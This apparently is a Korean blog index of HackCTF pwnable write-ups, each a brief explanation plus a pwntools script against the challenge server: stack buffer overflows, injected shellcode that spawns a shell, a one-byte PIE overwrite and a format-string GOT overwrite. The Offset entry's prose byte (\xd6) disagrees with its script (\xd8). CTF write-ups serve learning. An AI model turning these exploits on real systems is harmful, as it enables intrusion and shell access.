HackCTF (35) 썸네일형 리스트형 HackCTF - Offset 이번에는 PIE가 걸려있다 gets 함수가 쓰이긴하는데 중요하지 않다 함수 이름부터 수상하다 strcmp 로 1바이트 오버플로우가 발생한다 gdb 로 strcmp 까지 확인해보면 빨간칸에 있는게 30개이고 나머지 한 바이트를 \xd6으로 바꾸면 0x56555600이 0x565556d6으로 바껴 플래그가 출력 될 것이다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3007) e = ELF('offset') payload = 'a'*30 payload += '\xd8' r.sendline(payload) r.interactive() HackCTF - Simple_Overflow_ver_2 뭔가 많아 보이지 달라진 건 없다 이전과 마찬가지로 스택 주소를 출력해주니 쉘코드+더미+스택주소를 넣으면 된다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3006) e = ELF('Simple_overflow_ver_2') context.arch = 'i386' shellcode = asm(shellcraft.i386.linux.sh()) r.sendlineafter('Data :', 'AAAA') r.recv(1) stack = int(r.recv(10), 16) r.sendlineafter('(y/n): ', 'y') payload = shellcode payload += 'A'*(140-len(shellcode)) payload += p32(stack) .. HackCTF - x64 Simple_size_BOF 7번줄에서 버퍼 주소를 출력해주니 쉘코드+더미+버퍼 주소를 쓰면 된다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3005) e = ELF('./Simple_size_bof') context.arch = 'amd64' shellcode = asm(shellcraft.amd64.linux.sh()) r.recvuntil('buf: ') stack = int(r.recv(14), 16) payload = shellcode payload += 'A'*(27960-len(shellcode)) payload += p64(stack) r.sendline(payload) r.interactive() HackCTF - x64 Buffer Overflow 간단하게 ret 위치에 callMeMaybe 를 쓰면 된다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3004) e = ELF('./64bof_basic') payload = 'A'*280 payload += p64(e.sym['callMeMaybe']) r.sendline(payload) r.interactive() HackCTF - 내 버퍼가 흘러넘친다!!! 아무런 보호기법이 안걸려 있다 main에 name 이 없는데 사용하는 걸 보니 bss 주소에 있나 보다 name에 쉘코드를 저장하고 gets에서 name으로 이동하면 된다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3003) e = ELF('./prob1') context.arch = 'i386' name = 0x804A060 shellcode = asm(shellcraft.i386.sh()) r.sendline(shellcode) payload = 'A'*24 payload += p32(name) r.sendline(payload) r.interactive() HackCTF - Basic_FSB fsb를 이용해 printf got를 덮으면 된다 이렇게 간단하게 오프셋을 구해주고 pwntools 를 이용해 풀었다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3002) e = ELF('./basic_fsb', checksec=False) offset = 2 payload = fmtstr_payload(offset, {e.got['printf']:e.sym['flag']}) r.sendline(payload) r.interactive() HackCTF - Basic_BOF #2 v5에는 sup이라는 함수가 들어있는거 같고 fgets 에서 오버플로우로 shell 함수로 덮을 수 있다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3001) e = ELF('./bof_basic2') payload = 'A'*(128) payload += p32(e.sym['shell']) r.sendline(payload) r.interactive() Hackctf - Basic_BOF #1 fgets에서 오버플로우가 발생하고 v5를 0xDEADBEEF로 바꾸면 쉘이 실행되는 간단한 문제이다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3000) payload = 'A'*40 payload += p32(0xdeadbeef) r.sendline(payload) r.interactive() 이전 1 2 3 4 5 다음